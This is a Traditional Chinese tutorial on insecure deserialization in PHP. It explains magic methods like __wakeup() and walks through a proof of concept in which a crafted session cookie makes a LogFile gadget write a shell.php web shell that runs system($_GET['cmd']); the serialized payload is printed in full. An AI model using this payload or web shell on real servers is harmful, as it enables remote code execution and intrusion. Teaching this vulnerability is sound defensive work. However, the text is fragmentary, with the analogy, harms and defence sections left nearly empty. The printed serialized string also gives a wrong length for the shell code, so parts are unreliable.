今天我們來談談一個在 OWASP Top 10 中常年佔據高位、極其隱蔽且破壞力巨大的漏洞——不安全的反序列化 (Insecure Deserialization)。
這個漏洞的核心思想非常狡猾,它是一種「資料與程式碼界線模糊」所導致的攻擊。攻擊者將惡意的「指令」偽裝成無害的「資料」,當應用程式試圖還原這些資料時,卻意外地執行了惡意的指令,往往直接導致遠端程式碼執行 (RCE)。
要理解這個漏洞,必須先了解這兩個正常的程式設計概念。
序列化 (Serialization)
class User {
public $name = "guest";
public $isAdmin = false;
}
$user_obj = new User();
// 將 $user_obj 物件轉換成字串
$serialized_string = serialize($user_obj);
// O:4:"User":2:{s:4:"name";s:5:"guest";s:7:"isAdmin";b:0;}
反序列化 (Deserialization)
$restored_obj = unserialize($serialized_string);
// $restored_obj 現在是一個 User 物件
這個流程看似無害,但問題出在:如果被反序列化的字串是來自於不可信的來源(例如,來自使用者的 Cookie、HTTP 請求的參數),會發生什麼事?
不安全反序列化的根本原因就是:應用程式盲目地信任了傳入的序列化資料,並認為它只包含「資料」。但事實上,攻擊者可以精心建構一個序列化的字串,使其在被還原成物件的過程中,觸發應用程式執行非預期的程式碼。
一個具體的比喻:
攻擊者之所以能「點燃炸藥」,是因為許多程式語言在反序列化時,會自動呼叫一些特殊的「魔法方法 (Magic Methods)」。
unserialize()
成功還原一個物件時,會自動檢查該物件的類別中是否存在 __wakeup()
方法,如果存在就會立即執行它。Java 有 readObject()
,Python 有 __reduce__()
。system()
, exec()
, eval()
),達成 RCE。伺服器端存在一個「小工具」類別 (可能是某個開發者留下的日誌功能):
class LogFile {
public $filename = 'error.log';
public $log_data = '';
// 魔法方法:物件被反序列化時會自動執行
public function __wakeup() {
// 這個功能本意是寫日誌,但卻可以被濫用來寫入任意檔案
file_put_contents($this->filename, $this->log_data);
}
}
應用程式的脆弱點 (例如,從 Cookie 中讀取並反序列化使用者資訊):
// 開發者可能預期這裡只會收到 User 物件的序列化字串
$user_data = unserialize($_COOKIE['session']);
攻擊者在本機建構惡意 Payload:
// 在攻擊者自己的環境中
class LogFile { /* ...和伺服器端一樣的定義... */ }
$malicious_obj = new LogFile();
// 將檔名設為一個 PHP Web Shell
$malicious_obj->filename = 'shell.php';
// 將檔案內容設為惡意程式碼
$malicious_obj->log_data = '<?php system($_GET["cmd"]); ?>';
// 將這個惡意物件序列化
echo serialize($malicious_obj);
// 輸出: O:7:"LogFile":2:{s:8:"filename";s:9:"shell.php";s:8:"log_data";s:28:"<?php system($_GET["cmd"]); ?>";}
執行攻擊:
攻擊者將這串惡意的序列化字串,透過瀏覽器開發者工具,設定到自己的 session
Cookie 中,然後向伺服器發送請求。
伺服器中招:
unserialize($_COOKIE['session'])
。LogFile
物件。LogFile
物件的 __wakeup()
方法。__wakeup()
方法執行了 file_put_contents('shell.php', '<?php ... ?>')
。shell.php
來執行任意系統命令,達成 RCE。主要危害:
isAdmin
屬性從 false
到 true
。防禦策略:
不安全的反序列化是一個典型的「信任邊界」問題。它提醒我們,從外部傳入的任何資料,即使它看起來像是應用程式自己生成的格式,也絕對不能掉以輕心。防禦的關鍵在於堅持「資料是資料,程式碼是程式碼」的原則,避免使用那些會模糊兩者界線的危險功能。